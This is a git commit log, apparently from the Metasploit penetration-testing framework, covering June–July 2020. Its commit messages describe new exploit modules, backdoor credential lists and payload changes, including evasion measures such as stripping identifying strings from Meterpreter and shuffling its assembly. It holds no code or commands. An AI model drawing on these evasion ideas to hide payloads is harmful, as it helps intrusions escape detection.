2020-07-16 10:20:50 -05:00
gwillcox-r7 8cfcfe36aa Land #13750, Centralize Cisco, Juniper, Brocade and Ubuiquiti auxiliary modules under networking directory 2020-07-16 10:16:52 -05:00
bwatters ceea94c368 Update docs for installation of target software 2020-07-16 10:16:48 -05:00
gwillcox-r7 09983771c8 Fix up a statment so instead of having an if followed by an else, we use elsif instead inside enum_juniper.rb 2020-07-16 10:10:11 -05:00
gwillcox-r7 7cbefaf43d Add in some minor fixes for cisco_asa_extrabacon.rb for RuboCop purposes 2020-07-16 09:48:40 -05:00
h00die 8133933d5a more rubocop 2020-07-16 05:43:52 -04:00
0x44434241 703dc79710 Vim ate my trailing space for guest/[nopassword] 2020-07-16 12:50:08 +09:00
0x44434241 94b46209d9 Adding in C-Data FTTH OLT Device telnet backdoor credential pairs.
Further information:
 - https://www.zdnet.com/article/backdoor-accounts-discovered-in-29-ftth-devices-from-chinese-vendor-c-data/
 - https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html
2020-07-16 12:38:23 +09:00
Shelby Pace 9c32b45ca2 remove CheckCode returns in login 2020-07-15 20:06:15 -05:00
Tod Beardsley 637b9ab51d Add CVE-2020-7361 reference 2020-07-15 15:40:51 -05:00
Jeffrey Martin 65039a5091 Merge upstream into 6.x 2020-07-15 09:58:07 -05:00
dwelch-r7 bdabebfb3c Refactor code into functions 2020-07-15 13:15:04 +01:00
h00die 3d851ca668 add run 2020-07-14 21:06:33 -04:00
h00die 80770125b5 review comments 2020-07-14 21:01:28 -04:00
dwelch-r7 02b8d436c8 Import vulns discovered from nmap 2020-07-14 13:22:09 +01:00
Metasploit 60b13413e9 automatic module_metadata_base.json update 2020-07-13 12:52:02 -05:00
Shelby Pace 3f820a1ee6 Land #13759, add BaselineAuthType option 2020-07-13 12:42:07 -05:00
kalba-security 2d3588c0ad Add suggestions from code review 2020-07-13 12:51:57 -04:00
Metasploit 1313efc70f automatic module_metadata_base.json update 2020-07-13 11:12:50 -05:00
Brendan Coles b2b88fe902 Land #13841, add Msf::Post::Unix.is_root? method 2020-07-13 16:23:58 +00:00
stealthcopter 887d1e0963 Updated documentation 2020-07-13 11:47:27 +01:00
stealthcopter 240f0be850 Updated author 2020-07-13 11:39:30 +01:00
stealthcopter 89b90046b3 Added documentation 2020-07-13 11:37:23 +01:00
stealthcopter 956e01e428 Added enum containers module 2020-07-13 11:22:16 +01:00
Brendan Coles 090b80eea7 Add Msf::Post::Unix.is_root? method 2020-07-12 00:47:56 +00:00
Metasploit fdee7e4e57 automatic module_metadata_base.json update 2020-07-11 12:19:51 -05:00
Brendan Coles 384a71b06a Land #13271, Update auxiliary/server/capture/smtp to store credentials 2020-07-11 17:30:06 +00:00
h00die 85bd740640 review comments 2020-07-11 15:19:16 -04:00
Metasploit 59f0d463dd automatic module_metadata_base.json update 2020-07-11 07:19:14 -05:00
adfoster-r7 7e7881fbfa Land #13730, Add Pandora FMS Events Remote Code Execution (CVE-2020-13851) module and docs 2020-07-11 13:10:47 +01:00
Jeffrey Martin f6d21abb51 require instead of autoload for exploit mixin 2020-07-10 22:15:12 -05:00
Metasploit ec68e57089 automatic module_metadata_base.json update 2020-07-10 13:55:32 -05:00
Jeffrey Martin c61f34ed16 Land #13596, [GSoC] SQLi library with support to MySQL (and MariaDB) 2020-07-10 13:45:47 -05:00
Metasploit ffd2a4621b automatic module_metadata_base.json update 2020-07-10 13:41:26 -05:00
Shelby Pace 8627cb2c35 Land #13626, checkvm post module cleanup 2020-07-10 13:31:03 -05:00
Brendan Coles 00d0d2cf15 Use service_exists? method 2020-07-10 18:10:26 +00:00
William Vu 9fa8931b77 Land #13812, ARCH_CMD target for psexec module 2020-07-10 10:39:52 -05:00
kalba-security 957042f0a3 Nuke redundant force-exploit advanced option 2020-07-09 17:24:19 -04:00
kalba-security df42399f61 Add installation instructions to docs 2020-07-09 17:20:07 -04:00
bwatters 24bf14b4c0 Land #13832, Polymorphic x86/x64 Block API
Merge branch 'land-13832' into upstream-6.x
2020-07-09 16:04:37 -05:00
kalba-security dc34acd070 Push to test autocheck issue 2020-07-09 16:43:18 -04:00
kalba-security 6bb20f41d8 Code review changes 2020-07-09 15:21:13 -05:00
kalba-security 36397a3e8f Add cmdstager support 2020-07-09 15:21:12 -05:00
kalba-security 3ac3dcb3cf Incorporate suggestios from code review 2020-07-09 15:21:12 -05:00
kalba-security c2abb40890 Fix HTTP timeout 2020-07-09 15:21:12 -05:00
kalba-security 3eceeca911 Add Pandora FMS Events Remote Code Execution module and docs 2020-07-09 15:21:12 -05:00
Spencer McIntyre e8ce6cf2f3 Fix up some comments in the x64 block_api source code 2020-07-09 14:02:12 -04:00
Metasploit 8926b1893e Bump version of framework to 5.0.99 2020-07-09 12:06:13 -05:00
Metasploit 782a03020e automatic module_metadata_base.json update 2020-07-09 09:39:48 -05:00
Shelby Pace 895c170394 Land #13769, add FortiMail auth bypass scanner 2020-07-09 09:28:45 -05:00
Shelby Pace ef3545d620 rubocop module 2020-07-09 09:26:39 -05:00
bwatters f3cfa4913a Land #13783, Support AES-128-CBC as an additional option for TLV encryption
Merge branch 'land-13783' into upstream-6.x
2020-07-09 08:09:06 -05:00
Spencer McIntyre 7745eafa17 Replace usage of Array.filter with Array.select for Ruby < 2.6 2020-07-09 09:00:05 -04:00
Patrick 78c5d57a32 Added output of build information as replacement for the missing version info 2020-07-09 09:28:35 +02:00
Stefan Pietsch 4c1b075679 Add QEMU/KVM target for CVE-2019-0708 2020-07-08 23:32:16 +02:00
kalba-security 6c4f975f97 Fix linting 2020-07-08 16:51:55 -04:00
kalba-security 470a0c9423 Add installation instructions to docs 2020-07-08 16:50:10 -04:00
Metasploit 0d58014b7d automatic module_metadata_base.json update 2020-07-08 15:38:24 -05:00
gwillcox-r7 1e0d5b4e04 Land #13829, Update modules to credit Mikhail Klyuchnikov for CVE-2019-19781 2020-07-08 15:28:12 -05:00
William Vu 398c13a1b2 Add Mikhail Klyuchnikov's writeup as a reference 2020-07-08 14:36:42 -05:00
William Vu ee240393f4 Credit Mikhail Klyuchnikov for CVE-2019-19781 2020-07-08 14:35:16 -05:00
Spencer McIntyre d39d1f5793 Update cached payload sizes 2020-07-08 15:33:39 -04:00
Spencer McIntyre 1537d3f193 Update the block_api assembly source files
This changes the x86 version to the (10 bytes) larger variant that can
handle full 32-bit jumps which is necesary for maximum compatibility
within the framwork.

Additionally, numeric literals are expressed in hex for compatibility
with the keystone assembler allowing these files to be compatitble with
external tools.
2020-07-08 15:28:41 -04:00
kalba-security 1f631e20ad Add zentao_pro_rce Windows exploit and docs 2020-07-08 15:13:45 -04:00
Spencer McIntyre 1518c6441b Use the new shuffled block api when generating EXEs too 2020-07-08 14:44:16 -04:00
Spencer McIntyre 6f153688ff Add labels to shuffled assembly source code for post-processing 2020-07-08 14:39:00 -04:00
Patrick 9b57c5347e Refactoring based on suggestions by bcoles 2020-07-08 16:37:14 +02:00
Patrick 75dde9551d Added suggestions of msftidy 2020-07-08 14:24:34 +02:00
Patrick 2e96990714 Refactored checking method 2020-07-08 14:22:50 +02:00
Patrick 517180e8d8 Integrated reporting to database 2020-07-08 13:15:28 +02:00
adfoster-r7 68e3aba789 Land #13823, fix raise_error rspec warnings 2020-07-08 12:12:59 +01:00
Spencer McIntyre 90870c91de Refactor the shuffle code to place it in a more accessible location 2020-07-07 18:13:55 -04:00
Jeffrey Martin 20a5688a11 add specific error class to remove warning 2020-07-07 15:44:16 -05:00
Spencer McIntyre af4dcdb22f Add documentation and fix rubocop issues for the new library code 2020-07-07 15:56:22 -04:00
Spencer McIntyre cfae4c76d0 Shuffle the block API source code every time 2020-07-07 15:55:32 -04:00
Metasploit 71f10eeeb0 Bump version of framework to 5.0.98 2020-07-07 13:38:22 -05:00
Alan Foster 4604488c05 Update rubocop version 2020-07-07 19:19:37 +01:00
Metasploit b0825824a0 automatic module_metadata_base.json update 2020-07-07 12:53:44 -05:00
Spencer McIntyre 16ff439296 Land #13807, Add F5 BIG-IP TMUI Directory Traversal and File Upload RCE (CVE-2020-5902) 2020-07-07 13:44:01 -04:00
William Vu 3ec597ce38 Update module doc 2020-07-07 12:12:38 -05:00
Jeffrey Martin 6114aeb828 lock rubocop for now 2020-07-07 12:06:18 -05:00
William Vu d726a2cdcb Fix a few final things 2020-07-07 12:06:05 -05:00
Jeffrey Martin 44d0ff0d75 Land #13820, Remove rspec test focus, and ensure all tests run 2020-07-07 11:39:04 -05:00
Alan Foster 2509bbfbc3 Remove rspec test focus, and ensure all tests run 2020-07-07 17:29:50 +01:00
Spencer McIntyre ff5ad268ab Bump metasploit-payloads to 2.0.9 and update payload sizes 2020-07-07 10:19:27 -04:00
Patrick b4e7815d80 added more suggestions by space-r7 2020-07-07 12:06:40 +02:00
Patrick 361df36f33 Apply suggestions from code review by space-r7
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-07 10:56:27 +02:00
h00die 456bf6b948 update escapes 2020-07-07 01:17:26 -04:00
William Vu ac3b31a911 Add module doc 2020-07-06 18:07:52 -05:00
William Vu c8176b803a Add version information to the description 2020-07-06 16:24:22 -05:00
William Vu 7ef4cb64ad Tweak timeouts to avoid a race condition 2020-07-06 14:30:27 -05:00
William Vu be90526d5f Add vuln discovery credit and reference 2020-07-06 14:26:52 -05:00
Spencer McIntyre e29e3be5d4 Add a basic GraphML parser to Rex 2020-07-06 15:23:41 -04:00
Metasploit 3220a1bb2f automatic module_metadata_base.json update 2020-07-06 09:58:44 -05:00
Niboucha Redouane 4c229c0a24 Add method for writing to files using SQL injection 2020-07-06 16:53:46 +02:00
Shelby Pace a2309f018e Land #13740, add springcloud dir traversal 2020-07-06 09:48:40 -05:00
Shelby Pace 224005ee7a Remove trailing comma 2020-07-06 09:47:58 -05:00
Spencer McIntyre cb8bcb5cb1 Update the psexec module documentation for the new command target 2020-07-06 10:36:25 -04:00
Spencer McIntyre 700d2ff819 Fix the SMB share for the psexec command target 2020-07-06 10:36:25 -04:00
Spencer McIntyre 9dc02229e9 Support ARCH_CMD payloads in the psexec exploit module 2020-07-06 10:33:03 -04:00
William Vu 41bb4d3a8d Add dir_trav method back in
I was wondering why I refactored it away. Oh, I needed it.
2020-07-05 18:23:45 -05:00
William Vu 1f765d0e1f Upgrade CheckCodes, since the dir traversal passed 2020-07-05 16:29:53 -05:00
William Vu 6e7701ba21 Add rudimentary check method 2020-07-05 16:18:03 -05:00
William Vu 0417e88ff2 Add F5 BIG-IP TMUI RCE (CVE-2020-5902) 2020-07-05 15:22:15 -05:00
Metasploit a65da92cab automatic module_metadata_base.json update 2020-07-05 12:59:31 -05:00
William Vu 3e7b3683b5 Land #13806, :unix_cmd target type for cmd/unix 2020-07-05 12:49:34 -05:00
William Vu 36b5d237fa Make cmd/unix target types consistent to :unix_cmd
There were some using :unix_command, and it was just an oversight.
2020-07-05 11:16:47 -05:00
Metasploit bbe73f18b6 automatic module_metadata_base.json update 2020-07-04 10:40:00 -05:00
Brendan Coles f9a5de87f8 Land #13789, Add OpenSIS Unauthenticated PHP Code Execution module 2020-07-04 15:49:45 +00:00
h00die 89332d0056 native python for plex unpickle 2020-07-03 19:37:18 -04:00
EgiX b286eda4d1 Update opensis_chain_exec.rb 2020-07-03 18:00:36 +02:00
EgiX d62b8d16c6 Update opensis_chain_exec.md 2020-07-03 17:43:10 +02:00
EgiX 3866d875e1 Update modules/exploits/unix/webapp/opensis_chain_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-03 17:38:33 +02:00
Brent Cook 825b24ac32 Land #13801, update to payloads 2.0.8 2020-07-03 07:56:36 -05:00
OJ b067c60e08 Point to paylodas v2.0.8 2020-07-03 14:41:44 +10:00
Metasploit 0308d3822c Bump version of framework to 5.0.97 2020-07-02 12:03:56 -05:00
Dhiraj Mishra fc018a9410 Update springcloud_directory_traversal.rb
use gsub for slashes in traversal path
2020-07-02 10:15:09 +04:00
EgiX ab703f376b Create opensis_chain_exec.md 2020-07-01 23:51:17 +02:00
EgiX 60ec23c271 Update opensis_chain_exec.rb 2020-07-01 23:38:07 +02:00
Niboucha Redouane 4950c2dacf Fix minor bugs, in safe mode, and in the name of the attribute passed to attr_accessor 2020-07-01 23:00:23 +02:00
Metasploit 92f456df02 automatic module_metadata_base.json update 2020-07-01 15:12:12 -05:00
gwillcox-r7 c311ea5b5b Land #13768, Netgear R6700 Admin Password Reset (CVE-2020-10923 and CVE-2020-10924) 2020-07-01 14:58:53 -05:00
William Vu f5e50eb4b0 Land #13795, helpful "use" tip when running search 2020-07-01 14:52:18 -05:00
William Vu 8186270538 Fix whitespace 2020-07-01 14:52:07 -05:00
William Vu 01899d4843 Land #13787, AutoCheck mixin refactor with prepend 2020-07-01 14:49:03 -05:00
William Vu 08c1402be9 Land #13733, AnyDesk GUI CVE-2020-13160 exploit 2020-07-01 14:47:07 -05:00
William Vu 5ec31d2e41 Update recent modules to use prepend 2020-07-01 14:43:15 -05:00
William Vu ffc07d6c8f Merge remote-tracking branch 'upstream/master' into pr/13787 2020-07-01 14:42:16 -05:00
Spencer McIntyre a27bf9df38 Fix some grammatical mistakes and set a default target for anydesk 2020-07-01 15:27:33 -04:00
William Vu 89f7be3ef0 Improve error message 2020-07-01 14:20:04 -05:00
gwillcox-r7 fdfef2729f Update documentation and modules to better list the range of versions affected now that we know which versions we can target and the CVE IDs. Also update the firmware links to archive.org links in case they ever get removed which is more common than you think 2020-07-01 13:28:46 -05:00
gwillcox-r7 ddb41d5a50 Update module and documentation with new output from the exploit 2020-07-01 13:28:32 -05:00
gwillcox-r7 3db867e5eb Futher updates to the module documentation since technically this module doesn't send the packet to UDP port 23 to enable the telnet server. 2020-07-01 13:28:15 -05:00
gwillcox-r7 d1e66c9d9f Add in rest of the fixes from my updates to the code 2020-07-01 13:27:58 -05:00
gwillcox-r7 79794b32ae Add in update to denote the timeout and MAC options in the telnetenable module in case this helps fix people's issues. 2020-07-01 13:27:56 -05:00
gwillcox-r7 37f2eb8e9d Fix up Failure::UNKNOWN check within get_offset() 2020-07-01 13:27:56 -05:00
Radek Domanski 1e520f27e9 Updating md as per comments 2020-07-01 13:27:32 -05:00
Radek Domanski a19c50044f Fixing firmware download link 2020-07-01 13:27:30 -05:00
Radek Domanski 4b29b76f0b Adding URLs 2020-07-01 13:27:17 -05:00
Radek Domanski 4a62d473a0 Commit initial files 2020-07-01 13:26:42 -05:00
Alan Foster b79c08772a Add note about using a module after searching 2020-07-01 19:21:34 +01:00
Christophe De La Fuente 6f74efbda1 Land #13764, Update SMB Version Scanning 2020-07-01 18:23:28 +02:00
wvu-r7 e0fbc9fd05 Correct whitespace change
Seems like a typo.
2020-07-01 11:00:04 -05:00
Spencer McIntyre 0cb3db843e Update the smb_version docs to reflect the latest changes 2020-07-01 11:25:25 -04:00
Adam Galway 8af480f89e Land #13793, fixes typo with debug and adds test 2020-07-01 15:28:00 +01:00
Alan Foster 3737c6810c Fix typo in debug command 2020-07-01 14:18:51 +01:00
Spencer McIntyre 53f6dbdf90 Add a missing exception class to the rescue statement 2020-07-01 09:13:01 -04:00
Dhiraj Mishra 532d6f6e39 Docs 2020-07-01 16:50:33 +04:00
Dhiraj Mishra da9d694599 Update springcloud_directory_traversal.rb
Thank you Shelby.
2020-07-01 15:44:43 +04:00
Dhiraj Mishra 4fc361c091 Update and rename springcloud_traversal2.rb to springcloud_directory_traversal.rb 2020-07-01 15:15:32 +04:00
Niboucha Redouane f9ade608b5 minor change: add default value to some arguments 2020-07-01 02:56:01 +02:00
adfoster-r7 97fabb303c Merge pull request #1 from wvu-r7/pr/13787
Fix a few things in AutoCheck refactor (rapid7#13787)
2020-06-30 20:57:45 +01:00
Metasploit 2b6f87b37f automatic module_metadata_base.json update 2020-06-30 13:43:34 -05:00
Shelby Pace e2f6330755 Land #13725, fix error / clean up atutor exploit 2020-06-30 13:32:34 -05:00
William Vu 4b78de5416 Refactor AutoCheck a bit more 2020-06-30 11:58:42 -05:00
Niboucha Redouane 0680113288 get rid of database parameter in MySQLi methods 2020-06-30 18:49:13 +02:00
William Vu 755d2d3261 Use subpar regex validation on LEAK_FILE 2020-06-30 11:17:26 -05:00
Spencer McIntyre a2d3b69bec Bump metasploit-payloads to 2.0.7 and update payload sizes 2020-06-30 11:52:31 -04:00
Niboucha Redouane b230adebba Add check for positional arguments on class constructor (SQLi::Common) 2020-06-30 16:16:35 +02:00
EgiX bd3f772bbc Add openSIS Unauthenticated PHP Code Execution
This PR is for a module that exploit multiple vulnerabilities in openSIS 7.4 and prior versions which could be abused by unauthenticated attackers to execute arbitrary PHP code with the permissions of the webserver. The module has been successfully tested with openSIS version 7.3 and 7.4 running on a LAMP system.
2020-06-30 15:35:32 +02:00
Alan Foster b841246536 Update autocheck to use prepend instead of include, add ForceExploit functionality 2020-06-30 11:40:46 +01:00
h00die a99a3c2d75 working albumn_name length thanks to acammack 2020-06-30 00:28:57 -04:00
ubuntu_2020 dea58ea81a Land #13773, Update metasploit payloads to 1.4.4wq
Merge branch 'land-13773' into upstream-master
2020-06-29 17:16:58 -05:00
Spencer McIntyre 5f5f42aa20 Readd the check that the key is set 2020-06-29 17:56:37 -04:00
Spencer McIntyre e72035f1a3 Support AES-128-CBC as an additional option for TLV encryption 2020-06-29 14:19:43 -04:00
adfoster-r7 d513ff32d7 Land #13782, Allow a jsonrpc token to be used when a database is present 2020-06-29 18:27:30 +01:00
Metasploit 290cc73c16 automatic module_metadata_base.json update 2020-06-29 12:08:43 -05:00
Shelby Pace 2b1af9acaa Land #13610, add atutor auth dir trav / rce 2020-06-29 11:58:34 -05:00
Shelby Pace ad48170a18 replace forceexploit with autocheck 2020-06-29 11:54:01 -05:00
Spencer McIntyre f05ffbe576 Scan SMB versions in descending order for efficiency 2020-06-29 12:08:13 -04:00
Shelby Pace f2c79ca1ef add changes for linux 2020-06-29 10:43:26 -05:00
Spencer McIntyre 04219e3d87 Catch RubySMB errors when authenticating in smb_version 2020-06-29 11:37:14 -04:00
adfoster-r7 d127f7120f Land #13430, adds debug command that can be used to generate information useful when debugging user errors 2020-06-29 16:00:21 +01:00
Adam Galway babaee8c8e adds debug command with spec tests 2020-06-29 15:38:56 +01:00
Akkuman bc74900a41 🐛 fix #13781 set token from environment var 2020-06-29 15:07:33 +08:00
Metasploit 39a5c6aa37 automatic module_metadata_base.json update 2020-06-28 23:59:18 -05:00
William Vu 3ba619acee Land #13521, Bolt CMS authenticated RCE 2020-06-28 23:50:53 -05:00
Tim W fa6fc4e0b0 Land #13780, fix quote output after aborting interactive session 2020-06-29 12:41:38 +08:00
wvu-r7 8224692fc7 Merge pull request #21 from timwr/fix-13780
fix session abort with Ctrl C
2020-06-28 23:39:39 -05:00
Tim W 878c1a56df fix session abort with Ctrl C 2020-06-29 12:35:02 +08:00
William Vu 156eea4292 Fix cleanup blocking on payload execution 2020-06-28 23:07:10 -05:00
William Vu b81629d099 Clean up module 2020-06-28 23:07:10 -05:00
William Vu 6e56fb5fe1 Remove debug print from session/interactive.rb 2020-06-28 22:52:42 -05:00
Niboucha Redouane 440294ff07 make some attributes writable, and specify its the SQLi library in any verbose message 2020-06-27 18:28:12 +02:00
Niboucha Redouane 2c4ca04dca Rename the factory method for SQLi classes, and add a check on the class to instanciate 2020-06-27 14:51:54 +02:00
Niboucha Redouane e5062bc124 Merge pull request #2 from jmartin-r7/GSOC/SQLi_Engine-as-factory
refactor mixin as factory for SQLi classes
2020-06-27 14:49:51 +02:00
Spencer McIntyre 42aa479ef2 Log the authentication domain when using RubySMB 2020-06-26 18:07:45 -04:00
bwatters-r7 952cca5e00 Update metasploit payloads to 1.4.4 2020-06-26 16:47:19 -05:00
Spencer McIntyre 71be2bbe67 Fix status updates and rport in the smb_version scanner 2020-06-26 17:30:15 -04:00
Jeffrey Martin aa6c037dbd refactor mixin as factory for sqli classes 2020-06-26 15:09:01 -05:00
Shelby Pace 2f6847c321 move login to its own method 2020-06-26 14:50:34 -05:00
adfoster-r7 6bbce9e73c Land #13601, Add custom service name support to msfvenom's exe-service generator 2020-06-26 19:00:33 +01:00
Spencer McIntyre bb33bc9c62 Randomize the bad unicode character used to trigger the vulnerability 2020-06-26 13:05:43 -04:00
William Vu 72dbbedcfc Clean up module doc 2020-06-26 11:25:41 -05:00
William Vu 03b171f7f1 RuboCop more aggressively 2020-06-26 11:25:38 -05:00
Metasploit 228d094e0e automatic module_metadata_base.json update 2020-06-26 10:45:07 -05:00
gwillcox-r7 ad47a2e9c9 Land #13770, Update IBM DRM modules with URL and correct versions 2020-06-26 10:34:12 -05:00
Niboucha Redouane 34e8eae471 move hex_encode_strings to MySQLi::Common, as it is specific to MySQL 2020-06-26 16:04:51 +02:00
Pedro Ribeiro 6e8178735f Update ibm_drm_rce.rb 2020-06-26 11:38:55 +07:00
Pedro Ribeiro 0af3b57013 Update ibm_drm_download.rb 2020-06-26 11:38:29 +07:00
Pedro Ribeiro 2ba8573ef9 Update IBM DRM rce module 2020-06-26 11:31:10 +07:00
Pedro Ribeiro 9995d13316 Update IBM DRM RCE docs 2020-06-26 11:29:59 +07:00
Pedro Ribeiro 34fd858265 Update IBM DRM SSH module 2020-06-26 11:28:21 +07:00
Pedro Ribeiro eb954da04d Fix IBM DRM SSH docs 2020-06-26 11:26:47 +07:00
Pedro Ribeiro 75ed69c7a7 update IBM download docs too 2020-06-26 11:25:25 +07:00
Pedro Ribeiro b42f99b652 Add IBM links to download module 2020-06-26 11:24:12 +07:00
Spencer McIntyre fb4ec60a30 Apply rubocop linting and add an Ubuntu 20.04 target 2020-06-25 16:18:17 -04:00
William Vu 7273ac1a92 Move module to unix/webapp 2020-06-25 12:44:42 -05:00
William Vu c03c580d12 Merge remote-tracking branch 'upstream/master' into pr/13521 2020-06-25 12:21:57 -05:00
Metasploit a1d547fdfe Bump version of framework to 5.0.96 2020-06-25 12:04:52 -05:00
Patrick a17b881c96 added more vulnerable versions 2020-06-25 18:34:23 +02:00
Spencer McIntyre a242309e1d Add deprecation reasons to the smb1 and smb2 scanners 2020-06-25 12:18:30 -04:00
Alan Foster a754225ba5 update deprecation notice to have a reason 2020-06-25 12:17:31 -04:00
Antoine Neuenschwander 071fa300a7 Apply suggestions from code review
Rename option in `CamelCase`

Co-authored-by: acammack-r7 <adam_cammack@rapid7.com>
2020-06-25 17:19:41 +02:00
Brendan Coles 4622fecf73 Use helper method to retrieve services and processes 2020-06-25 12:39:22 +00:00
Patrick e8a476e845 added CVE reference 2020-06-25 13:21:59 +02:00
Patrick 8e98db193f added link to exploit 2020-06-25 13:10:15 +02:00
Niboucha Redouane 7291a77807 minor fix to verbose logging / some comments 2020-06-25 12:46:05 +02:00
Pedro Ribeiro 8e0f2d8606 Merge pull request #19 from rapid7/master
asasas
2020-06-25 17:00:10 +07:00
Patrick 59711e3bff added scanner module for fortimail login bypass 2020-06-25 10:28:17 +02:00
h00die 94cc286689 update docs and 401 handling code 2020-06-24 21:05:23 -04:00
Spencer McIntyre 9d1d58a643 Implement code changes suggested by rubocop 2020-06-24 16:25:06 -04:00
Spencer McIntyre 3d717bd43b Defer status updates to group host lines together 2020-06-24 16:25:06 -04:00
Spencer McIntyre d1a1ced5ff Update the smb_version module documentation 2020-06-24 16:25:06 -04:00
Spencer McIntyre efef28912f Report the server uptime, GUID and capabilities in smb_version 2020-06-24 16:24:40 -04:00
Spencer McIntyre 7ec56964cd First commit of the smb_version module enhancements 2020-06-24 16:24:32 -04:00
Spencer McIntyre d3a59dc8b2 Update the Gemfile.lock for ruby_smb v2.0.2 2020-06-24 14:11:29 -04:00
Spencer McIntyre 26cbfa5d56 Land #13417, SMBv3 integration with Framework 2020-06-24 14:09:11 -04:00
Spencer McIntyre 771e7e7617 Land #13476, Add support for custom name/ordinal for RDI 2020-06-24 09:40:24 -04:00
Spencer McIntyre 83bdb92977 Update cached payload sizes for metasploit-payloads v2.0.6 2020-06-24 09:25:53 -04:00
Spencer McIntyre 32fee4f09d Fix the regex for finding the exported loader name 2020-06-24 09:22:39 -04:00
kalba-security d0509fecf4 Improve the method of setting the cmdstager flavor 2020-06-24 06:50:00 -04:00
Niboucha Redouane 8b7ad94168 Fix error message, SqliDelay instead of SQLI_SLEEP 2020-06-24 00:48:07 +02:00
Niboucha Redouane f89f80be47 add default value for options of SQLi constructors, and fix eyesofnetwork module 2020-06-24 00:38:13 +02:00
OJ e725fb5d4a Update payloads gem version 2020-06-24 08:24:22 +10:00
OJ 53b010aaf9 Fix stupid mistakes in the core RDI loader
Typo in comments & incorrect symbol in regex.
2020-06-24 08:17:04 +10:00
OJ 3548a839b5 Java-related UINT command ID generation 2020-06-24 08:11:16 +10:00
OJ d14dac26ec Support removal of TLV strings
This first bit of code aims to add a "map" to the packet functionality
that is able to translate to and from "method strings" to "command ids".
IDs are sent across the wire, and they're now integers. This removes the
need for the strings to be present in things like native meterp, and
hence makes things a little less obvious on the wire, and way less
obvious on disk/in the payload.

Given that we need this functionality in other Meterpreters to support
the removal of strings, some code has been added that can generate
source files for Python, C# and C. This code might move, but for now
it's at least in a spot where it's used the most.
2020-06-24 08:10:54 +10:00
antoinet b95c02aa2a Add optional baseline for http response time
A new advanced option BASELINE_AUTH_TIME allows to specify a basline
for http authentication response timess to discriminate valid/invalid
OWA users.
2020-06-23 22:08:56 +00:00
OJ 975ee313ff Add support for custom name/ordinal for RDI 2020-06-24 08:01:30 +10:00
Niboucha Redouane c94bd3b2d8 remove verbose prints in blind injections 2020-06-23 21:33:03 +02:00
kalba-security 18926e874c Fix file_traversal_path check 2020-06-23 15:26:14 -04:00
Niboucha Redouane 2bdc693930 Replace puts with print_status and similar 2020-06-23 21:25:59 +02:00
Dhiraj Mishra 9984cabc02 springcloud_traversal2.md 2020-06-23 11:12:26 +04:00
Niboucha Redouane aaa38a3188 Fix formatting 2020-06-22 17:41:20 +02:00
Niboucha Redouane fba2d2e7be inject the datastore into the SQLi library, and register advanced options 2020-06-22 17:36:38 +02:00
h00die 533bed6b51 pre review updates 2020-06-22 06:30:44 -04:00
h00die 4d36c2ef79 move aux/admin to netowrking 2020-06-22 06:11:11 -04:00
h00die ca3aabd5f6 move docs and cisco_config 2020-06-21 17:35:38 -04:00
h00die ef2bf10b50 aux admin to networking and rubocop 2020-06-21 16:41:11 -04:00
h00die 5e19a767f7 post to networking and rubocop done 2020-06-21 16:36:16 -04:00
Niboucha Redouane fae87b3633 Merge branch 'GSOC/SQLi_Engine' of https://github.com/red0xff/metasploit-framework into GSOC/SQLi_Engine 2020-06-20 21:09:39 +02:00
Niboucha Redouane 4f756ba229 replace some classes with modules 2020-06-20 21:09:13 +02:00
h00die 3dcf622ad6 add link to software 2020-06-20 00:12:05 -04:00
h00die 9defe33d9a docs and working module 2020-06-20 00:06:46 -04:00
h00die 9f424a8cbb cleanup getting through it 2020-06-19 22:59:19 -04:00
metacom 1a3ca6ee79 documalis_pdf_editor_and_scanner.md initial comit 2020-06-19 21:39:40 -05:00
metacom cefcb6c851 new modules with both programs documalis_pdf_editor_and_scanner 2020-06-19 21:39:16 -05:00
h00die 40e6551b8b works with cmd payload calc 2020-06-19 21:16:55 -04:00
Niboucha Redouane 5100f14b6d revert : use interpolation instead of concatenation
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2020-06-19 23:31:23 +02:00
Dhiraj Mishra dd616ca4cb Update springcloud_traversal2.rb 2020-06-20 00:03:49 +04:00
Dhiraj Mishra d2677bd4fc springcloud_traversal2 2020-06-19 23:50:17 +04:00
Spencer McIntyre dc9764a6ff Bump metasploit-payloads to 2.0.5 and updates payload sizes 2020-06-19 12:20:01 -04:00
Spencer McIntyre efbff6faa0 Land #13400, Change from PEM to DER for crypt TLV negotiation 2020-06-19 11:58:32 -04:00
Niboucha Redouane 9d36076264 Add option to specify the range of characters to retrieve 2020-06-19 16:41:57 +02:00
kalba-security d1792bdf51 Add extra suggestion from code review 2020-06-18 16:48:46 -04:00
kalba-security 57f40053da Improve autoselect (incorporate suggestions from code review) 2020-06-18 16:39:11 -04:00
Niboucha Redouane 7c630f0403 Avoid repetitive code in blind injections 2020-06-18 20:52:02 +02:00
Niboucha Redouane fa43dc6dfb minor fix to the structure 2020-06-18 17:28:47 +02:00
Niboucha Redouane 305dbe9e2f refactor structure, get rid of prefix and suffix 2020-06-18 17:21:10 +02:00
Spencer McIntyre f1c4cecf6d Add module docs for CVE-2020-13160 2020-06-17 11:30:41 -04:00
Spencer McIntyre 3edae89496 Add an exploit for CVE-2020-13160 2020-06-17 10:14:35 -04:00
cn-kali-team 55c4dcd751 add keyword to help 2020-06-17 20:52:23 +08:00
Christophe De La Fuente 37a55b11b4 Fix issues on Mac OS X
- Update the SimpleClient#create_pipe permission from 'c' (FILE_OPEN_IF
  disposition: Open the file if it already exists; otherwise, create the file)
  to 'o' (FILE_OPEN disposition: If the file already exists, return success;
  otherwise, fail the operation).
- Remove the random offset in Rex::Proto::DCERPC::Client#write (evasion). This
  is strictly prohibited by the protocol and break on MAC OS X
2020-06-16 19:25:26 +02:00
Spencer McIntyre 98391d3911 Bump metasploit-payloads to 2.0.3 and updates payload sizes 2020-06-16 10:45:30 -04:00
Spencer McIntyre 7fe191a43c Land #13529, Remove the old Mimikatz extension 2020-06-16 10:36:23 -04:00
Spencer McIntyre 4ce610e423 Bump metasploit-payloads to 2.0.2 and updates payload sizes 2020-06-16 08:58:15 -04:00
Spencer McIntyre 012e152d8f Land #13432, Add TLV encryption support to Python Meterpreter 2020-06-16 08:56:56 -04:00
kalba-security b5ad7a8511 Use session_created, update documentation 2020-06-15 13:37:59 -04:00
kalba-security 8bc35859ff Remove comment left from testing 2020-06-15 13:22:06 -04:00
